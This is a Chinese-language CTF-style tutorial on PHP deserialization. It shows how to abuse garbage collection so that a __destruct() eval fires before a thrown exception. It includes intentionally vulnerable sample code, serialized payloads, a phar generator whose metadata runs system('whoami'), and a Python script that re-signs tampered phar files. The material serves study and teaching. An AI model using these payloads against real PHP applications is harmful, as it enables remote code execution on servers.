例
<?php
highlight_file(__FILE__);
class L1mbo{
public $rce;
public function __destruct(){
eval($rce);
}
}
$a = $_GET["a"];
$b=unserialize($a);
throw new Exception("???");
?>
前言
这个例题其实很简短,控制L1mbo中rce的值,当类销毁的时候就会执行__destruct(),但throw new Exception("???");的存在让我们的思路成为了空想。
正常来说在php执行完毕后L1mbo类就会销毁而执行__destruct()达到我们的目的,但它抛出一个异常后,php执行终止,类也没有正常的销毁来执行__destruct()。而我们要做的就是让L1mbo在抛出异常之前就销毁,这就要提到PHP Garbage Collection,也就是GC回收机制。
GC
PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的。当一个变量被设置为空NULL,或者没有任何指针指向也就是引用计数为0时,它就会被变成垃圾,被GC机制自动回收掉;那么同理当一个对象没有了任何引用之后,就会被回收,在回收过程中,就会自动调用对象中的__destruct(),我们可以去官方文档中查询:
这里举一些小小的例子:
<?php
highlight_file(__FILE__);
error_reporting(0);
class L1mbo{
public $num;
public function __construct($num)
{
$this->num = $num;
echo $this->num."__construct"."</br>";
}
public function __destruct(){
echo $this->num."__destruct"."</br>";
}
}
new L1mbo(1);
$a = new L1mbo(2);
$b = new L1mbo(3);
?>
正如我们所见L1mbo(1)没有任何引用,创建后马上销毁.
再如
<?php
highlight_file(__FILE__);
error_reporting(0);
class L1mbo{
public $num;
public function __construct($num)
{
$this->num = $num;
echo $this->num."__construct"."</br>";
}
public function __destruct(){
echo $this->num."__destruct"."</br>";
}
}
$c = array(new L1mbo(1),1);
$c[0] = $c[1];
$a = new L1mbo(2);
$b = new L1mbo(3);
L1mbo失去了引用,便会触发回收而执行destruct。
应用
原理有了,那上面那题应该怎么搞呢?
<?php
class L1mbo{
public $rce='phpinfo();';
public function __destruct(){
eval($rce);
}
}
$a=array(new L1mbo(),1);
echo serialize($a);
a:2:{i:0;O:5:"L1mbo":1:{s:3:"rce";s:10:"phpinfo();";}i:1;i:1;}
把i:1改为i:0,使类失去引用被回收。
a:2:{i:0;O:5:"L1mbo":1:{s:3:"rce";s:10:"phpinfo();";}i:0;i:1;}
或者直接O:5:"L1mbo":1:{s:3:"rce";s:10:"phpinfo();"
反序列化异常会直接destruct
Phar与GC
假如有这么一道题:
<?php
highlight_file(__FILE__);
error_reporting(0);
class L1mbo{
public $cmd;
public function __destruct(){
eval($this->cmd);
}
}
$data = $_POST[1];
file_put_contents("a.txt", $data);
$filename = $_GET['filename'];
echo file_get_contents($filename);
throw new Error("nonono!!!");
?>
原本可以程序正常执行结束然后destruct
,执行我们需要的代码,但最后抛出一个error之后,类不能正常销毁,这时候就可以用到php的GC回收机制去提前结束这个类的寿命 从而销毁。
<?php
class L1mbo{
public $cmd="system('whoami');";
}
$o[]=new L1mbo();
$o[] = 1;
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt",'eval($_GET["a"]);'); //添加要压缩的文件
$phar->stopBuffering();
?>
生成
键名i:1改为i:0,前面的L1mbo对象便会失去引用而释放,但我们修改文件之后,phar的文件签名便会损坏,要重新生成签名。
Phar签名格式:
最后四个字节固定GBMB
,再往前四个是加密算法,默认是SHA1,长度20。所以去掉最后28个字节的数据然后SHA1对文件进行加密再补全就可以了。
import gzip
from hashlib import sha1
file = open("test.phar","rb").read()
text = file[:-28] #读取开始到末尾除签名外内容
last = file[-8:] #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last #生成新phar
open("test.phar","wb").write(new_file)
然后phar://a.txt就ok
还有两个题目tang神